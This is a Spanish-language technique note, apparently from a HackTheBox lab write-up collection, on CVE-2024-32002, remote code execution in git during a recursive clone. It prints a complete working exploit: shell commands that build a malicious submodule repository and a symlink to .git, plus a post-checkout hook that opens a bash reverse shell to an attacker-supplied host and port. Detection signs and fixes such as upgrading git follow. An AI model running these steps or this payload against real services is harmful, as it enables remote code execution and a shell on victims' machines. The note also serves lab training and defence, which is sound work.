RCE in recursive git clone (CVE-2024-32002)
CVE-2024-32002 es una ejecución remota de código en git que se dispara durante un git clone --recursive. El fallo combina dos descuidos: cómo trata git los submódulos y los enlaces simbólicos en sistemas de ficheros insensibles a mayúsculas (Windows, macOS). Con un repositorio malicioso bien construido, se logra escribir ficheros fuera del submódulo, dentro del directorio .git/ del repo, y plantar un hook que git ejecuta solo por clonar.
La idea. Al clonar recursivamente, git procesa submódulos. Si se crea un submódulo cuyo nombre y un symlink apuntan de forma que A/modules/x acabe resolviéndose a .git/, los ficheros del submódulo se escriben dentro de .git/hooks/. Un git que escribe en .git/hooks/post-checkout ejecutará ese script en el siguiente checkout, durante el propio clone, sin que la víctima llegue a inspeccionar nada (RCE por git hooks).
Montaje (dos repos). Se preparan en un servidor git controlado (a menudo un Gitea al que nos podemos registrar):
- Repo
hookcon el payload enhooks/post-checkout:
mkdir -p y/hooks
cat > y/hooks/post-checkout <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout && git commit -m "hook" && git push- Repo
captaincon un submódulo que apunta al repohooky un symlink que redirige a.git:
git submodule add --name x/y "http://<git>/<user>/hook" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink" && git pushCuando la víctima ejecuta git clone --recursive http://<git>/<user>/captain, el post-checkout se ejecuta en su contexto y devuelve la shell.
Cómo se llega a que la víctima clone. Casi nunca clonamos nosotros: el objetivo suele ser un servicio que acepta una URL de repositorio (un compilador, un CI) y lo clona recursivamente. Es la combinación natural con un SSRF que primero nos delata la versión de git.
Indicio frente a prueba. Una versión git <= 2.45.0 en Windows/macOS sugiere vulnerabilidad, pero hay que confirmarla: la prueba es la conexión de vuelta del post-checkout. Requiere que el clonado sea recursivo y un FS insensible a mayúsculas.
Cómo detectarlo. La firma definitiva es de linaje de procesos: git lanzando bash/sh/nc como hijo durante un clone --recursive, es decir la ejecución de un .git/hooks/post-checkout que ningún clonado legítimo dispara (auditd/Sysmon sobre execve con padre git). En disco, un repositorio con un submódulo cuyo nombre y un symlink resuelven hacia .git/ es detectable inspeccionando .gitmodules y los enlaces antes de clonar. El vector suele ser un CI o servicio que acepta una URL de repositorio: una conexión saliente desde ese servicio justo tras clonar es la cadena.
Defensa. Actualizar git (corregido a partir de 2.45.1); deshabilitar symlinks en git (git config core.symlinks false); no clonar repos no confiables de forma recursiva ni en servicios automáticos. Relacionado con git hooks y exposición de repositorios .git.
Máquinas donde se aplica
- CompiledHackTheBox